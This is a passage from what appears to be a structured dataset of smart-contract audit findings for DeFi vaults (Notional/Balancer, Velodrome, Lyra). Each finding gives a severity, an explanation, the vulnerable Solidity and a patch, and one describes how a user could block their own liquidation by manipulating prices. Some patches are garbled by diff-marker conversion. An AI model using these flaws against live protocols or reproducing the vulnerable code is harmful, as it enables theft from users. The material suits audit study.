_getSpotPrice({\\n oracleContext: oracleContext,\\n poolContext: poolContext,\\n primaryBalance: primaryAmount,\\n secondaryBalance: secondaryAmount,\\n tokenIndex: 0\\n });\\n```\\n |
`msgValue` will not be populated if ETH is the secondary token | high | `msgValue` will not be populated if ETH is the secondary token in the two token leverage vault, leading to a loss of assets as the ETH is not forwarded to the Balancer Pool during a trade.\\nBased on the source code of the two token pool leverage vault, it is possible to deploy a vault to support a Balancer pool with an arbitrary token as the primary token and ETH as the secondary token. The primary token is always the borrowing currency in the vault.\\nHowever, Line 60 of `TwoTokenPoolUtils._getPoolParams` function below assumes that if one of the two tokens is ETH in the pool, it will always be the primary token or borrowing currency, which is not always the case. If the ETH is set as the secondary token, the `msgValue` will not be populated.\\n```\\nFile: TwoTokenPoolUtils.sol\\n /// @notice Returns parameters for joining and exiting Balancer pools\\n function _getPoolParams(\\n TwoTokenPoolContext memory context,\\n uint256 primaryAmount,\\n uint256 secondaryAmount,\\n bool isJoin\\n ) internal pure returns (PoolParams memory) {\\n IAsset[] memory assets = new IAsset[](2);\\n assets[context.primaryIndex] = IAsset(context.primaryToken);\\n assets[context.secondaryIndex] = IAsset(context.secondaryToken);\\n\\n uint256[] memory amounts = new uint256[](2);\\n amounts[context.primaryIndex] = primaryAmount;\\n amounts[context.secondaryIndex] = secondaryAmount;\\n\\n uint256 msgValue;\\n if (isJoin && assets[context.primaryIndex] == IAsset(Deployments.ETH_ADDRESS)) {\\n msgValue = amounts[context.primaryIndex];\\n }\\n\\n return PoolParams(assets, amounts, msgValue);\\n }\\n```\\n\\nAs a result, when the caller joins the Balancer pool, the `params.msgValue` will be empty, and no secondary token (ETH) will be forwarded to the Balancer pool. The ETH will remain stuck in the vault and the caller will receive much fewer BPT tokens in return.\\n```\\nFile: BalancerUtils.sol\\n /// @notice Joins a balancer pool using exact tokens in\\n function _joinPoolExactTokensIn(\\n PoolContext memory context,\\n PoolParams memory params,\\n uint256 minBPT\\n ) internal returns (uint256 bptAmount) {\\n bptAmount = IERC20(address(context.pool)).balanceOf(address(this));\\n Deployments.BALANCER_VAULT.joinPool{value: params.msgValue}(\\n context.poolId,\\n address(this),\\n address(this),\\n IBalancerVault.JoinPoolRequest(\\n params.assets,\\n params.amounts,\\n abi.encode(\\n IBalancerVault.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT,\\n params.amounts,\\n minBPT // Apply minBPT to prevent front running\\n ),\\n false // Don't use internal balances\\n )\\n );\\n bptAmount =\\n IERC20(address(context.pool)).balanceOf(address(this)) -\\n bptAmount;\\n }\\n```\\n | Consider populating the `msgValue` if the secondary token is ETH.\\n```\\n/// @notice Returns parameters for joining and exiting Balancer pools\\nfunction _getPoolParams(\\n TwoTokenPoolContext memory context,\\n uint256 primaryAmount,\\n uint256 secondaryAmount,\\n bool isJoin\\n) internal pure returns (PoolParams memory) {\\n IAsset[] memory assets = new IAsset[](2);\\n assets[context.primaryIndex] = IAsset(context.primaryToken);\\n assets[context.secondaryIndex] = IAsset(context.secondaryToken);\\n\\n uint256[] memory amounts = new uint256[](2);\\n amounts[context.primaryIndex] = primaryAmount;\\n amounts[context.secondaryIndex] = secondaryAmount;\\n\\n uint256 msgValue;\\n if (isJoin && assets[context.primaryIndex] == IAsset(Deployments.ETH_ADDRESS)) {\\n msgValue = amounts[context.primaryIndex];\\n }\\n// Add the line below\\n if (isJoin && assets[context.secondaryIndex] == IAsset(Deployments.ETH_ADDRESS)) {\\n// Add the line below\\n msgValue = amounts[context.secondaryIndex];\\n// Add the line below\\n }\\n \\n return PoolParams(assets, amounts, msgValue);\\n}\\n```\\n | Loss of assets for the callers as ETH will remain stuck in the vault and not forwarded to the Balancer Pool. Since the secondary token (ETH) is not forwarded to the Balancer pool, the caller will receive much fewer BPT tokens in return when joining the pool.\\nThis issue affects the deposit and reinvest reward functions of the vault, which means that the depositor will receive fewer strategy tokens in return during depositing, and the vault will receive less BPT in return during reinvesting. | ```\\nFile: TwoTokenPoolUtils.sol\\n /// @notice Returns parameters for joining and exiting Balancer pools\\n function _getPoolParams(\\n TwoTokenPoolContext memory context,\\n uint256 primaryAmount,\\n uint256 secondaryAmount,\\n bool isJoin\\n ) internal pure returns (PoolParams memory) {\\n IAsset[] memory assets = new IAsset[](2);\\n assets[context.primaryIndex] = IAsset(context.primaryToken);\\n assets[context.secondaryIndex] = IAsset(context.secondaryToken);\\n\\n uint256[] memory amounts = new uint256[](2);\\n amounts[context.primaryIndex] = primaryAmount;\\n amounts[context.secondaryIndex] = secondaryAmount;\\n\\n uint256 msgValue;\\n if (isJoin && assets[context.primaryIndex] == IAsset(Deployments.ETH_ADDRESS)) {\\n msgValue = amounts[context.primaryIndex];\\n }\\n\\n return PoolParams(assets, amounts, msgValue);\\n }\\n```\\n |
`totalBPTSupply` will be excessively inflated | high | The `totalBPTSupply` will be excessively inflated as `totalSupply` was used instead of `virtualSupply`. This might cause a boosted balancer leverage vault not to be emergency settled in a timely manner and holds too large of a share of the liquidity within the pool, thus having problems exiting its position.\\nBalancer's Boosted Pool uses Phantom BPT where all pool tokens are minted at the time of pool creation and are held by the pool itself. Therefore, `virtualSupply` should be used instead of `totalSupply` to determine the amount of BPT supply in circulation.\\nHowever, within the `Boosted3TokenAuraVault.getEmergencySettlementBPTAmount` function, the `totalBPTSupply` at Line 169 is derived from the `totalSupply` instead of the `virtualSupply`. As a result, `totalBPTSupply` will be excessively inflated (2**(111)).\\n```\\nFile: Boosted3TokenAuraVault.sol\\n function getEmergencySettlementBPTAmount(uint256 maturity) external view returns (uint256 bptToSettle) {\\n Boosted3TokenAuraStrategyContext memory context = _strategyContext();\\n bptToSettle = context.baseStrategy._getEmergencySettlementParams({\\n maturity: maturity, \\n totalBPTSupply: IERC20(context.poolContext.basePool.basePool.pool).totalSupply()\\n });\\n }\\n```\\n\\nAs a result, the `emergencyBPTWithdrawThreshold` threshold will be extremely high. As such, the condition at Line 97 will always be evaluated as true and result in a revert.\\n```\\nFile: SettlementUtils.sol\\n function _getEmergencySettlementParams(\\n StrategyContext memory strategyContext,\\n uint256 maturity,\\n uint256 totalBPTSupply\\n ) internal view returns(uint256 bptToSettle) {\\n StrategyVaultSettings memory settings = strategyContext.vaultSettings;\\n StrategyVaultState memory state = strategyContext.vaultState;\\n\\n // Not in settlement window, check if BPT held is greater than maxBalancerPoolShare * total BPT supply\\n uint256 emergencyBPTWithdrawThreshold = settings._bptThreshold(totalBPTSupply);\\n\\n if (strategyContext.vaultState.totalBPTHeld <= emergencyBPTWithdrawThreshold)\\n revert Errors.InvalidEmergencySettlement();\\n```\\n\\n```\\nFile: BalancerVaultStorage.sol\\n function _bptThreshold(StrategyVaultSettings memory strategyVaultSettings, uint256 totalBPTSupply)\\n internal pure returns (uint256) {\\n return (totalBPTSupply * strategyVaultSettings.maxBalancerPoolShare) / BalancerConstants.VAULT_PERCENT_BASIS;\\n }\\n```\\n | Update the function to compute the `totalBPTSupply` from the virtual supply.\\n```\\n function getEmergencySettlementBPTAmount(uint256 maturity) external view returns (uint256 bptToSettle) {\\n Boosted3TokenAuraStrategyContext memory context = _strategyContext();\\n bptToSettle = context.baseStrategy._getEmergencySettlementParams({\\n maturity: maturity, \\n// Remove the line below\\n totalBPTSupply: IERC20(context.poolContext.basePool.basePool.pool).totalSupply()\\n// Add the line below\\n totalBPTSupply: context.poolContext._getVirtualSupply(context.oracleContext)\\n });\\n }\\n```\\n | Anyone (e.g. off-chain keeper or bot) that relies on the `SettlementUtils.getEmergencySettlementBPTAmount` to determine if an emergency settlement is needed would be affected. The caller will presume that since the function reverts, emergency settlement is not required and the BPT threshold is still within the healthy level. The caller will wrongly decided not to perform an emergency settlement on a vault that has already exceeded the BPT threshold.\\nIf a boosted balancer leverage vault is not emergency settled in a timely manner and holds too large of a share of the liquidity within the pool, it will have problems exiting its position. | ```\\nFile: Boosted3TokenAuraVault.sol\\n function getEmergencySettlementBPTAmount(uint256 maturity) external view returns (uint256 bptToSettle) {\\n Boosted3TokenAuraStrategyContext memory context = _strategyContext();\\n bptToSettle = context.baseStrategy._getEmergencySettlementParams({\\n maturity: maturity, \\n totalBPTSupply: IERC20(context.poolContext.basePool.basePool.pool).totalSupply()\\n });\\n }\\n```\\n |
Users redeem strategy tokens but receives no assets in return | high | Due to a rounding error in Solidity, it is possible that a user burns their strategy tokens, but receives no assets in return due to issues in the following functions:\\nStrategyUtils._convertStrategyTokensToBPTClaim\\nBoosted3TokenPoolUtils._redeem\\nTwoTokenPoolUtils._redeem\\nThis affects both the TwoToken and Boosted3Token vaults\\n```\\nint256 internal constant INTERNAL_TOKEN_PRECISION = 1e8;\\nuint256 internal constant BALANCER_PRECISION = 1e18;\\n```\\n\\nWithin the `StrategyUtils._convertStrategyTokensToBPTClaim` function, it was observed that if the numerator is smaller than the denominator, the `bptClaim` will be zero.\\n```\\nFile: StrategyUtils.sol\\n function _convertStrategyTokensToBPTClaim(StrategyContext memory context, uint256 strategyTokenAmount)\\n internal pure returns (uint256 bptClaim) {\\n require(strategyTokenAmount <= context.vaultState.totalStrategyTokenGlobal);\\n if (context.vaultState.totalStrategyTokenGlobal > 0) {\\n bptClaim = (strategyTokenAmount * context.vaultState.totalBPTHeld) / context.vaultState.totalStrategyTokenGlobal;\\n }\\n }\\n```\\n\\nWhen the `bptClaim` is zero, the function returns zero instead of reverting. Therefore, it is possible that a user redeems ("burns") their strategy tokens, but receives no assets in return because the number of strategy tokens redeemed by the user is too small.\\n```\\nFile: Boosted3TokenPoolUtils.sol\\n function _redeem(\\n ThreeTokenPoolContext memory poolContext,\\n StrategyContext memory strategyContext,\\n AuraStakingContext memory stakingContext,\\n uint256 strategyTokens,\\n uint256 minPrimary\\n ) internal returns (uint256 finalPrimaryBalance) {\\n uint256 bptClaim = strategyContext._convertStrategyTokensToBPTClaim(strategyTokens);\\n\\n if (bptClaim == 0) return 0;\\n\\n finalPrimaryBalance = _unstakeAndExitPool({\\n stakingContext: stakingContext,\\n poolContext: poolContext,\\n bptClaim: bptClaim,\\n minPrimary: minPrimary\\n });\\n\\n strategyContext.vaultState.totalBPTHeld -= bptClaim;\\n strategyContext.vaultState.totalStrategyTokenGlobal -= strategyTokens.toUint80();\\n strategyContext.vaultState.setStrategyVaultState(); \\n }\\n```\\n | Consider reverting if the assets (bptClaim) received is zero. This check has been implemented in many well-known vault designs as this is a commonly known issue (e.g. Solmate)\\n```\\nfunction _redeem(\\n ThreeTokenPoolContext memory poolContext,\\n StrategyContext memory strategyContext,\\n AuraStakingContext memory stakingContext,\\n uint256 strategyTokens,\\n uint256 minPrimary\\n) internal returns (uint256 finalPrimaryBalance) {\\n uint256 bptClaim = strategyContext._convertStrategyTokensToBPTClaim(strategyTokens);\\n\\n// Remove the line below\\n if (bptClaim == 0) return 0;\\n// Add the line below\\n require(bptClaim > 0, "zero asset")\\n\\n finalPrimaryBalance = _unstakeAndExitPool({\\n stakingContext: stakingContext,\\n poolContext: poolContext,\\n bptClaim: bptClaim,\\n minPrimary: minPrimary\\n });\\n\\n strategyContext.vaultState.totalBPTHeld // Remove the line below\\n= bptClaim;\\n strategyContext.vaultState.totalStrategyTokenGlobal // Remove the line below\\n= strategyTokens.toUint80();\\n strategyContext.vaultState.setStrategyVaultState(); \\n}\\n```\\n | Loss of assets for the users as they burn their strategy tokens, but receive no assets in return. | ```\\nint256 internal constant INTERNAL_TOKEN_PRECISION = 1e8;\\nuint256 internal constant BALANCER_PRECISION = 1e18;\\n```\\n |
Scaling factor of the wrapped token is incorrect | high | The scaling factor of the wrapped token within the Boosted3Token leverage vault is incorrect. Thus, all the computations within the leverage vault will be incorrect. This leads to an array of issues such as users being liquidated prematurely or users being able to borrow more than they are allowed to.\\nIn Line 120, it calls the `getScalingFactors` function of the LinearPool to fetch the scaling factors of the LinearPool.\\nIn Line 123, it computes the final scaling factor of the wrapped token by multiplying the main token's decimal scaling factor with the wrapped token rate, which is incorrect.\\n```\\nFile: Boosted3TokenPoolMixin.sol\\n function _underlyingPoolContext(ILinearPool underlyingPool) private view returns (UnderlyingPoolContext memory) {\\n (uint256 lowerTarget, uint256 upperTarget) = underlyingPool.getTargets();\\n uint256 mainIndex = underlyingPool.getMainIndex();\\n uint256 wrappedIndex = underlyingPool.getWrappedIndex();\\n\\n (\\n /* address[] memory tokens */,\\n uint256[] memory underlyingBalances,\\n /* uint256 lastChangeBlock */\\n ) = Deployments.BALANCER_VAULT.getPoolTokens(underlyingPool.getPoolId());\\n\\n uint256[] memory underlyingScalingFactors = underlyingPool.getScalingFactors();\\n // The wrapped token's scaling factor is not constant, but increases over time as the wrapped token increases in\\n // value.\\n uint256 wrappedScaleFactor = underlyingScalingFactors[mainIndex] * underlyingPool.getWrappedTokenRate() /\\n BalancerConstants.BALANCER_PRECISION;\\n\\n return UnderlyingPoolContext({\\n mainScaleFactor: underlyingScalingFactors[mainIndex],\\n mainBalance: underlyingBalances[mainIndex],\\n wrappedScaleFactor: wrappedScaleFactor,\\n wrappedBalance: underlyingBalances[wrappedIndex],\\n virtualSupply: underlyingPool.getVirtualSupply(),\\n fee: underlyingPool.getSwapFeePercentage(),\\n lowerTarget: lowerTarget,\\n upperTarget: upperTarget \\n });\\n }\\n```\\n\\nThe correct way of calculating the final scaling factor of the wrapped token is to multiply the wrapped token's decimal scaling factor by the wrapped token rate as shown below:\\n```\\nscalingFactors[_wrappedIndex] = _scalingFactorWrappedToken.mulDown(_getWrappedTokenRate());\\n```\\n\\nThe `_scalingFactorWrappedToken` is the scaling factor that, when multiplied to a token amount, normalizes its balance as if it had 18 decimals. The `_getWrappedTokenRate` function returns the wrapped token rate.\\nIt is important to note that the decimal scaling factor of the main and wrapped tokens are not always the same. Thus, they cannot be used interchangeably.\\n```\\n // Scaling factors\\n\\n function _scalingFactor(IERC20 token) internal view virtual returns (uint256) {\\n if (token == _mainToken) {\\n return _scalingFactorMainToken;\\n } else if (token == _wrappedToken) {\\n // The wrapped token's scaling factor is not constant, but increases over time as the wrapped token\\n // increases in value.\\n return _scalingFactorWrappedToken.mulDown(_getWrappedTokenRate());\\n } else if (token == this) {\\n return FixedPoint.ONE;\\n } else {\\n _revert(Errors.INVALID_TOKEN);\\n }\\n }\\n\\n /**\\n * @notice Return the scaling factors for all tokens, including the BPT.\\n */\\n function getScalingFactors() public view virtual override returns (uint256[] memory) {\\n uint256[] memory scalingFactors = new uint256[](_TOTAL_TOKENS);\\n\\n // The wrapped token's scaling factor is not constant, but increases over time as the wrapped token increases in\\n // value.\\n scalingFactors[_mainIndex] = _scalingFactorMainToken;\\n scalingFactors[_wrappedIndex] = _scalingFactorWrappedToken.mulDown(_getWrappedTokenRate());\\n scalingFactors[_BPT_INDEX] = FixedPoint.ONE;\\n\\n return scalingFactors;\\n }\\n```\\n | There is no need to manually calculate the final scaling factor of the wrapped token again within the code. This is because the wrapped token scaling factor returned by the `LinearPool.getScalingFactors()` function already includes the token rate. Refer to the Balancer's source code above for referen\\n```\\nfunction _underlyingPoolContext(ILinearPool underlyingPool) private view returns (UnderlyingPoolContext memory) {\\n (uint256 lowerTarget, uint256 upperTarget) = underlyingPool.getTargets();\\n uint256 mainIndex = underlyingPool.getMainIndex();\\n uint256 wrappedIndex = underlyingPool.getWrappedIndex();\\n\\n (\\n /* address[] memory tokens */,\\n uint256[] memory underlyingBalances,\\n /* uint256 lastChangeBlock */\\n ) = Deployments.BALANCER_VAULT.getPoolTokens(underlyingPool.getPoolId());\\n\\n uint256[] memory underlyingScalingFactors = underlyingPool.getScalingFactors();\\n// Remove the line below\\n // The wrapped token's scaling factor is not constant, but increases over time as the wrapped token increases in\\n// Remove the line below\\n // value.\\n// Remove the line below\\n uint256 wrappedScaleFactor = underlyingScalingFactors[mainIndex] * underlyingPool.getWrappedTokenRate() /\\n// Remove the line below\\n BalancerConstants.BALANCER_PRECISION;\\n\\n return UnderlyingPoolContext({\\n mainScaleFactor: underlyingScalingFactors[mainIndex],\\n mainBalance: underlyingBalances[mainIndex],\\n// Remove the line below\\n wrappedScaleFactor: wrappedScaleFactor,\\n// Add the line below\\n wrappedScaleFactor: underlyingScalingFactors[wrappedIndex], \\n wrappedBalance: underlyingBalances[wrappedIndex],\\n virtualSupply: underlyingPool.getVirtualSupply(),\\n fee: underlyingPool.getSwapFeePercentage(),\\n lowerTarget: lowerTarget,\\n upperTarget: upperTarget \\n });\\n}\\n```\\n | Within the Boosted 3 leverage vault, the balances are scaled before passing them to the stable math function for computation since the stable math function only works with balances that have been normalized to 18 decimals. If the scaling factor is incorrect, all the computations within the leverage vault will be incorrect, which affects almost all the vault functions.\\nFor instance, the `Boosted3TokenAuraVault.convertStrategyToUnderlying` function relies on the wrapped scaling factor for its computation under the hood. This function is utilized by Notional's `VaultConfiguration.calculateCollateralRatio` function to determine the value of the vault share when computing the collateral ratio. If the underlying result is wrong, the collateral ratio will be wrong too, and this leads to an array of issues such as users being liquidated prematurely or users being able to borrow more than they are allowed to. | ```\\nFile: Boosted3TokenPoolMixin.sol\\n function _underlyingPoolContext(ILinearPool underlyingPool) private view returns (UnderlyingPoolContext memory) {\\n (uint256 lowerTarget, uint256 upperTarget) = underlyingPool.getTargets();\\n uint256 mainIndex = underlyingPool.getMainIndex();\\n uint256 wrappedIndex = underlyingPool.getWrappedIndex();\\n\\n (\\n /* address[] memory tokens */,\\n uint256[] memory underlyingBalances,\\n /* uint256 lastChangeBlock */\\n ) = Deployments.BALANCER_VAULT.getPoolTokens(underlyingPool.getPoolId());\\n\\n uint256[] memory underlyingScalingFactors = underlyingPool.getScalingFactors();\\n // The wrapped token's scaling factor is not constant, but increases over time as the wrapped token increases in\\n // value.\\n uint256 wrappedScaleFactor = underlyingScalingFactors[mainIndex] * underlyingPool.getWrappedTokenRate() /\\n BalancerConstants.BALANCER_PRECISION;\\n\\n return UnderlyingPoolContext({\\n mainScaleFactor: underlyingScalingFactors[mainIndex],\\n mainBalance: underlyingBalances[mainIndex],\\n wrappedScaleFactor: wrappedScaleFactor,\\n wrappedBalance: underlyingBalances[wrappedIndex],\\n virtualSupply: underlyingPool.getVirtualSupply(),\\n fee: underlyingPool.getSwapFeePercentage(),\\n lowerTarget: lowerTarget,\\n upperTarget: upperTarget \\n });\\n }\\n```\\n |
Boosted3TokenPoolUtils.sol : _redeem - updating the `totalBPTHeld , totalStrategyTokenGlobal` after `_unstakeAndExitPool` is not safe | medium | _redeem function is used to claim the BPT amount using the strategy tokens.\\nIt is first calling the `_unstakeAndExitPool` function and then updating the `totalBPTHeld , totalStrategyTokenGlobal`\\n```\\n function _redeem(\\n ThreeTokenPoolContext memory poolContext,\\n StrategyContext memory strategyContext,\\n AuraStakingContext memory stakingContext,\\n uint256 strategyTokens,\\n uint256 minPrimary\\n) internal returns (uint256 finalPrimaryBalance) {\\n uint256 bptClaim = strategyContext._convertStrategyTokensToBPTClaim(strategyTokens);\\n\\n\\n if (bptClaim == 0) return 0;\\n\\n\\n finalPrimaryBalance = _unstakeAndExitPool({\\n stakingContext: stakingContext,\\n poolContext: poolContext,\\n bptClaim: bptClaim,\\n minPrimary: minPrimary\\n });\\n\\n\\n strategyContext.vaultState.totalBPTHeld -= bptClaim;\\n strategyContext.vaultState.totalStrategyTokenGlobal -= strategyTokens.toUint80();\\n strategyContext.vaultState.setStrategyVaultState(); \\n}\\n```\\n\\nFirst _unstakeAndExitPool is called and then totalBPTHeld and totalStrategyTokenGlobal are updated. | First update `totalBPTHeld and totalStrategyTokenGlobal` and then call the `_unstakeAndExitPool` | Reentering during any of the function call inside `_unstakeAndExitPool` could be problematic. `stakingContext.auraRewardPool.withdrawAndUnwrap(bptClaim, false)` `BalancerUtils._swapGivenIn`\\nWell it need deep study to analyze the impact, but I would suggest to update the balance first and then call the `_unstakeAndExitPool` | ```\\n function _redeem(\\n ThreeTokenPoolContext memory poolContext,\\n StrategyContext memory strategyContext,\\n AuraStakingContext memory stakingContext,\\n uint256 strategyTokens,\\n uint256 minPrimary\\n) internal returns (uint256 finalPrimaryBalance) {\\n uint256 bptClaim = strategyContext._convertStrategyTokensToBPTClaim(strategyTokens);\\n\\n\\n if (bptClaim == 0) return 0;\\n\\n\\n finalPrimaryBalance = _unstakeAndExitPool({\\n stakingContext: stakingContext,\\n poolContext: poolContext,\\n bptClaim: bptClaim,\\n minPrimary: minPrimary\\n });\\n\\n\\n strategyContext.vaultState.totalBPTHeld -= bptClaim;\\n strategyContext.vaultState.totalStrategyTokenGlobal -= strategyTokens.toUint80();\\n strategyContext.vaultState.setStrategyVaultState(); \\n}\\n```\\n |
Unable to deploy new leverage vault for certain MetaStable Pool | medium | Notional might have an issue deploying the new leverage vault for a MetaStable Pool that does not have Balancer Oracle enabled.\\n```\\nFile: MetaStable2TokenVaultMixin.sol\\nabstract contract MetaStable2TokenVaultMixin is TwoTokenPoolMixin {\\n constructor(NotionalProxy notional_, AuraVaultDeploymentParams memory params)\\n TwoTokenPoolMixin(notional_, params)\\n {\\n // The oracle is required for the vault to behave properly\\n (/* */, /* */, /* */, /* */, bool oracleEnabled) = \\n IMetaStablePool(address(BALANCER_POOL_TOKEN)).getOracleMiscData();\\n require(oracleEnabled);\\n }\\n```\\n | Remove the Balancer Oracle check from the constructor.\\n```\\n constructor(NotionalProxy notional_, AuraVaultDeploymentParams memory params)\\n TwoTokenPoolMixin(notional_, params)\\n {\\n// Remove the line below\\n // The oracle is required for the vault to behave properly\\n// Remove the line below\\n (/* */, /* */, /* */, /* */, bool oracleEnabled) = \\n// Remove the line below\\n IMetaStablePool(address(BALANCER_POOL_TOKEN)).getOracleMiscData();\\n// Remove the line below\\n require(oracleEnabled);\\n }\\n```\\n | Notional might have an issue deploying the new leverage vault for a MetaStable Pool that does not have Balancer Oracle enabled. Since Balancer Oracle has been deprecated, the Balancer Oracle will likely be disabled on the MetaStable Pool. | ```\\nFile: MetaStable2TokenVaultMixin.sol\\nabstract contract MetaStable2TokenVaultMixin is TwoTokenPoolMixin {\\n constructor(NotionalProxy notional_, AuraVaultDeploymentParams memory params)\\n TwoTokenPoolMixin(notional_, params)\\n {\\n // The oracle is required for the vault to behave properly\\n (/* */, /* */, /* */, /* */, bool oracleEnabled) = \\n IMetaStablePool(address(BALANCER_POOL_TOKEN)).getOracleMiscData();\\n require(oracleEnabled);\\n }\\n```\\n |
Possible division by zero depending on `TradingModule.getOraclePrice` return values | medium | Some functions depending on `TradingModule.getOraclePrice` accept non-negative (int256 `answer`, int256 decimals) return values. In case any of those are equal to zero, division depending on `answer` or `decimals` will revert. In the worst case scenario, this will prevent the protocol from continuing operating.\\nThe function `TradingModule.getOraclePrice` properly validates that return values from Chainlink price feeds are positive.\\nNevertheless, `answer` may currently return zero, as it is calculated as `(basePrice * quoteDecimals * RATE_DECIMALS) / (quotePrice * baseDecimals);`, which can be truncated down to zero, depending on base/quote prices [1]. Additionally, `decimals` may in the future return zero, depending on changes to the protocol code, as the NatSpec states that this is a `number of `decimals` in the rate, currently hardcoded to 1e18` [2].\\nIf any of these return values are zero, calculations that use division depending on `TradingModule.getOraclePrice` will revert.\\nMore specifically:\\n[1]\\n1.1 `TradingModule.getLimitAmount`\\n```\\n require(oraclePrice >= 0); /// @dev Chainlink rate error\\n```\\n\\nthat calls `TradingUtils._getLimitAmount`, which reverts if `oraclePrice` is `0`\\n```\\n oraclePrice = (oracleDecimals * oracleDecimals) / oraclePrice;\\n```\\n\\n[2] 2.1 `TwoTokenPoolUtils._getOraclePairPrice`\\n```\\n require(decimals >= 0);\\n\\n if (uint256(decimals) != BalancerConstants.BALANCER_PRECISION) {\\n rate = (rate * int256(BalancerConstants.BALANCER_PRECISION)) / decimals;\\n }\\n```\\n\\n2.2 `TradingModule.getLimitAmount`\\n```\\n require(oracleDecimals >= 0); /// @dev Chainlink decimals error\\n```\\n\\nthat calls `TradingUtils._getLimitAmount`, which reverts if `oracleDecimals` is `0`\\n```\\n limitAmount =\\n ((oraclePrice + \\n ((oraclePrice * uint256(slippageLimit)) /\\n Constants.SLIPPAGE_LIMIT_PRECISION)) * amount) / \\n oracleDecimals;\\n```\\n\\n2.3 `CrossCurrencyfCashVault.convertStrategyToUnderlying`\\n```\\n return (pvInternal * borrowTokenDecimals * rate) /\\n (rateDecimals * int256(Constants.INTERNAL_TOKEN_PRECISION));\\n```\\n | Validate that the return values are strictly positive (instead of non-negative) in case depending function calculations may result in division by zero. This can be either done on `TradingModule.getOraclePrice` directly or on the depending functions.\\n```\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/contracts/trading/TradingModule.sol b/contracts/trading/TradingModule.sol\\nindex bfc8505..70b40f2 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/contracts/trading/TradingModule.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/contracts/trading/TradingModule.sol\\n@@ // Remove the line below\\n251,6 // Add the line below\\n251,9 @@ contract TradingModule is Initializable, UUPSUpgradeable, ITradingModule {\\n (basePrice * quoteDecimals * RATE_DECIMALS) /\\n (quotePrice * baseDecimals);\\n decimals = RATE_DECIMALS;\\n// Add the line below\\n\\n// Add the line below\\n require(answer > 0); /// @dev Chainlink rate error\\n// Add the line below\\n require(decimals > 0); /// @dev Chainlink decimals error\\n }\\n \\n function _hasPermission(uint32 flags, uint32 flagID) private pure returns (bool) {\\n@@ // Remove the line below\\n279,9 // Add the line below\\n282,6 @@ contract TradingModule is Initializable, UUPSUpgradeable, ITradingModule {\\n // prettier// Remove the line below\\nignore\\n (int256 oraclePrice, int256 oracleDecimals) = getOraclePrice(sellToken, buyToken);\\n \\n// Remove the line below\\n require(oraclePrice >= 0); /// @dev Chainlink rate error\\n// Remove the line below\\n require(oracleDecimals >= 0); /// @dev Chainlink decimals error\\n// Remove the line below\\n\\n limitAmount = TradingUtils._getLimitAmount({\\n tradeType: tradeType,\\n sellToken: sellToken,\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/contracts/vaults/balancer/internal/pool/TwoTokenPoolUtils.sol b/contracts/vaults/balancer/internal/pool/TwoTokenPoolUtils.sol\\nindex 4954c59..6315c0a 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/contracts/vaults/balancer/internal/pool/TwoTokenPoolUtils.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/contracts/vaults/balancer/internal/pool/TwoTokenPoolUtils.sol\\n@@ // Remove the line below\\n76,10 // Add the line below\\n76,7 @@ library TwoTokenPoolUtils {\\n (int256 rate, int256 decimals) = tradingModule.getOraclePrice(\\n poolContext.primaryToken, poolContext.secondaryToken\\n );\\n// Remove the line below\\n require(rate > 0);\\n// Remove the line below\\n require(decimals >= 0);\\n \\n if (uint256(decimals) != BalancerConstants.BALANCER_PRECISION) {\\n rate = (rate * int256(BalancerConstants.BALANCER_PRECISION)) / decimals;\\n }\\n```\\n | In the worst case, the protocol might stop operating.\\nAlbeit unlikely that `decimals` is ever zero, since currently this is a hardcoded value, it is possible that `answer` might be zero due to round-down performed by the division in `TradingModule.getOraclePrice`. This can happen if the quote token is much more expensive than the base token. In this case, `TradingModule.getLimitAmount` and depending calls, such as `TradingModule.executeTradeWithDynamicSlippage` might revert. | ```\\n require(oraclePrice >= 0); /// @dev Chainlink rate error\\n```\\n |
Malicious user can DOS pool and avoid liquidation by creating secondary liquidity pool for Velodrome token pair | high | For every Vault_Velo interaction the vault attempts to price the liquidity of the user. This calls priceLiquidity in the corresponding DepsoitReciept. The prices the underlying assets by swapping them through the Velodrome router. Velodrome can have both a stable and volatile pool for each asset pair. When calling the router directly it routes through the pool that gives the best price. In priceLiquidity the transaction will revert if the router routes through the wrong pool (i.e. trading the volatile pool instead of the stable pool). A malicious user can use this to their advantage to avoid being liquidated. They could manipulate the price of the opposite pool so that any call to liquidate them would route through the wrong pool and revert.\\n```\\n uint256 amountOut; //amount received by trade\\n bool stablePool; //if the traded pool is stable or volatile.\\n (amountOut, stablePool) = router.getAmountOut(HUNDRED_TOKENS, token1, USDC);\\n require(stablePool == stable, "pricing occuring through wrong pool" );\\n```\\n\\nDepositReceipt uses the getAmountOut call the estimate the amountOut. The router will return the best rate between the volatile and stable pool. If the wrong pool give the better rate then the transaction will revert. Since pricing is called during liquidation, a malicious user could manipulate the price of the wrong pool so that it returns the better rate and always reverts the liquidation call. | Instead of quoting from the router, query the correct pool directly:\\n```\\n uint256 amountOut; //amount received by trade\\n- bool stablePool; //if the traded pool is stable or volatile.\\n\\n- (amountOut, stablePool) = router.getAmountOut(HUNDRED_TOKENS, token1, USDC);\\n- require(stablePool == stable, "pricing occuring through wrong pool" );\\n+ address pair;\\n\\n+ pair = router.pairFor(token1, USDC, stable)\\n+ amountOut = IPair(pair).getAmountOut(HUNDRED_TOKENS, token1)\\n```\\n | Malicious user can avoid liquidation | ```\\n uint256 amountOut; //amount received by trade\\n bool stablePool; //if the traded pool is stable or volatile.\\n (amountOut, stablePool) = router.getAmountOut(HUNDRED_TOKENS, token1, USDC);\\n require(stablePool == stable, "pricing occuring through wrong pool" );\\n```\\n |
Users are unable close or add to their Lyra vault positions when price is stale or circuit breaker is tripped | high | Users are unable close or add to their Lyra vault positions when price is stale or circuit breaker is tripped. This is problematic for a few reasons. First is that the circuit breaker can be tripped indefinitely which means their collateral could be frozen forever and they will be accumulating interest the entire time they are frozen. The second is that since they can't add any additional collateral to their loan, the loan may end up being underwater by the time the price is no longer stale or circuit breaker is no longer tripped. They may have wanted to add more assets and now they are liquidated, which is unfair as users who are liquidated are effectively forced to pay a fee to the liquidator.\\n```\\nfunction _checkIfCollateralIsActive(bytes32 _currencyKey) internal view override {\\n \\n //Lyra LP tokens use their associated LiquidityPool to check if they're active\\n ILiquidityPoolAvalon LiquidityPool = 